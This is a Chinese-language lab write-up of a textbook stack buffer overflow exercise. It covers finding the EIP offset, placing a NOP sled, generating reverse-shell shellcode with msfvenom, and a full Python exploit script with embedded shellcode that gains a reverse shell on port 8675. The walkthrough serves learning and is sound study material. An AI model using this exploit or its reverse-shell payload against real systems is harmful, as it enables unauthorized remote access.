缓冲区溢出漏洞挖掘过程
本文主要记录作者在缓冲区溢出漏洞学习过程中,根据《灰帽黑客第5版》实验11_6的测试记录。
缓冲区溢出的原理不再赘述,缓冲区溢出漏洞的挖掘一般遵循以下步骤:
控制EIP确定偏移量确定返回地址生成shellcode验证漏洞如果有必要,调试漏洞验证程序。1.控制EIP
先查看以下目标程序的基本信息
readelf -h <文件名>
查看目标程序为32位小端程序。执行程序,发现程序监听5555端口。
尝试用nc连接端口,回显需要输入用户名。
程序有输入,这时就考虑是否存在缓冲区溢出漏洞,尝试向程序发送长字符串。利用perl语言向程序发送1000个A组成的字符串,程序崩溃停止运行。
可能存在缓冲区溢出漏洞,这时需要用gdb调试程序查看堆栈变化。看到程序发生段错误时,ebp、eip均已被篡改,被“A”填充。
2.确定偏移量
确定EIP可以被重写后,需要确定需要多少个字符才能刚好覆盖EIP。最简单的是利用metasploit的工具。
pattern_create工具可以生成一个字符串,将它发送给程序,用gdb查看程序崩溃时eip指向的地址,然后再用它的姐妹工具pattern_offset,将刚才的崩溃地址作为参数输入,即可计算出偏移量。
3.确定返回地址
确定EIP跳转到shellcode的地址,这里可以加入一段nop雪橇(0x90)以防止位置发生少量偏移造成跳转失败。将字符串发送给程序查看堆栈以确定返回地址。让eip跳转到雪橇内都可以,如下图,从程序崩溃时的堆栈可以看出,返回地址可以确定为0xffffd498,由于程序是小端序,程序里应写成:jmp = "\x98\xd4\xff\xff"
4.生成shellcode
利用metasploit的msfvenom模块生成tcp的反射shell,由于程序是32位的,选择/linux/x86/shell_reverse_tcp,-b '\x00'是为了防止shellcode中含有‘\x00’被当作字符串的结束符而停止。
msfvenom -p linux/x86/shell_reverse_tcp -b '\x00' -f python LHOST=192.168.10.102 LPORT=8675
5.验证漏洞
编写漏洞验证代码:
#!/usr/bin/python
import socket
total = 1024 # Total Length of Buffer String
off = 264
buf = ""
buf += "\xbd\x2e\x04\x6b\x83\xdb\xc2\xd9\x74\x24\xf4\x5f\x29"
buf += "\xc9\xb1\x12\x83\xef\xfc\x31\x6f\x0e\x03\x41\x0a\x89"
buf += "\x76\xac\xc9\xba\x9a\x9d\xae\x17\x37\x23\xb8\x79\x77"
buf += "\x45\x77\xf9\xeb\xd0\x37\xc5\xc6\x62\x7e\x43\x20\x0a"
buf += "\x41\x1b\xd8\xac\x29\x5e\xdd\x11\x49\xd7\x3c\xe1\xeb"
buf += "\xb8\xef\x52\x47\x3b\x99\xb5\x6a\xbc\xcb\x5d\x1b\x92"
buf += "\x98\xf5\x8b\xc3\x71\x67\x25\x95\x6d\x35\xe6\x2c\x90"
buf += "\x09\x03\xe2\xd3"
noplen = 32
jmp = "\x98\xd4\xff\xff" # NOP sled address
s = socket.socket()
s.connect(("localhost", 5555)) # Connect to server
print s.recv(1024) # Recieve Banner
exploit = "" # Build Exploit String
exploit += "A"*off + jmp + "\x90"*noplen + buf
exploit +="C"*(total-off-4-len(buf)-noplen)
s.send(exploit) # Send Exploit String
s.close
执行漏洞程序,同时开启反连窗口监听。然后执行漏洞验证代码,向程序发送shellcode。漏洞验证成功后可见在8675端口监听的窗口成功获得反连shell,实验测试成功。
实验测试程序下载地址
版权声明
本文仅代表作者观点,不代表博信信息网立场。